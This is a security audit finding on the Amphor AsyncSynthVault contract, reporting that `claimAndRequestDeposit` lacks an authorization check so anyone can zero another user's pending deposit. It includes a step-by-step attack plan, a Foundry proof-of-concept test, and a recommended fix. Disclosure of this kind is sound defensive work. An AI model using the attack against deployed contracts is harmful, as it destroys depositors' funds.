Mythical Cyan Bat

high

# An attacker can grief any user's funds by calling `claimAndRequestDeposit`

## Summary
A malicious actor can exploit a vulnerability in the [`claimAndRequestDeposit`](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L204) function by specifying a victim's address as the `receiver`, leading to the loss of the victim's funds.

## Vulnerability Detail
The [`claimAndRequestDeposit`](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L204) function, when invoked, calls the [`_claimDeposit`](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L742) function with both the `owner` and `receiver` parameters set to the value of the `receiver` input parameter. This action skips any form of authorization verification, thereby allowing a malicious user to execute [`_claimDeposit`](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L742) on behalf of another user. Note that [claiming a deposit within the same Epoch as the deposit request results in the forfeiture of the pending deposit balance](https://gist.github.com/SaahilMittal/522dcffaf4ce7677873a8626fac6e675). Consequently, an attacker can zero out a user's pending deposit balance by triggering [`_claimDeposit`](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L742) for the victim within the same Epoch the deposit request was made.

Attack plan : 
1. The victim initiates a deposit through [`requestDeposit`](https://github.com/sherlock-audit/2024-03-amphor/blob/main/asynchronous-vault/src/AsyncSynthVault.sol#L439), contributing an `assets` amount of tokens.
2. This action results in a pending deposit balance equal to the `assets` amount for the victim.
3. An attacker executes `claimAndRequestDeposit(
        uint256 assets,
        address receiver,
        bytes memory data
    )`, setting `assets` to 0 and `receiver` to the victim's address.
4. Subsequently, the victim's pending deposit balance is reset to zero without any shares being allocated to them, effectively leading to a total loss of their funds, while the attacker incurs no losses.

Proof of Code : 

```solidity
function test_poc() external {
        // set token balances
        deal(vaultTested.asset(), user1.addr, 20);
        deal(vaultTested.asset(), user2.addr, type(uint256).max);
                
        // initial deposit when vault is open
        vm.startPrank(user2.addr);
        IERC20Metadata(vaultTested.asset()).approve(address(vaultTested), 10);
        vaultTested.deposit(10, user2.addr);
        vm.stopPrank();

        // owner closes the vault
        vm.prank(vaultTested.owner());
        vaultTested.close();
        
        vm.startPrank(user1.addr);
        IERC20Metadata(vaultTested.asset()).approve(address(vaultTested), 20);
        // user1 requests a deposit
        vaultTested.requestDeposit(20, user1.addr, user1.addr, "");
        // user1 checks the pending deposit request amount
        assertEq(vaultTested.pendingDepositRequest(user1.addr), 20);
        vm.stopPrank();

        vm.startPrank(user3.addr);
        // attacker griefs the user1's deposit request
        vaultTested.claimAndRequestDeposit(0, user1.addr, "");
        vm.stopPrank();

        // all the balances of user1 are zero, indicating loss of funds
        assertEq(vaultTested.pendingDepositRequest(user1.addr), 0);
        assertEq(vaultTested.balanceOf(user1.addr), 0);
        assertEq(IERC20Metadata(vaultTested.asset()).balanceOf(user1.addr), 0);
    }
 ```
To run the test :

1. Copy the above code and paste it into `TestClaimDeposit.t.sol`
2. Run `forge test --match-test test_poc --ffi`
## Impact
The attacker causes the user to lose all of their balance.
## Code Snippet
## Tool used

Manual Review
Foundry

## Recommendation
Implement an authorization mechanism by incorporating `msg.sender` as arguments to `_claimDeposit` within the `claimAndRequestDeposit` function.


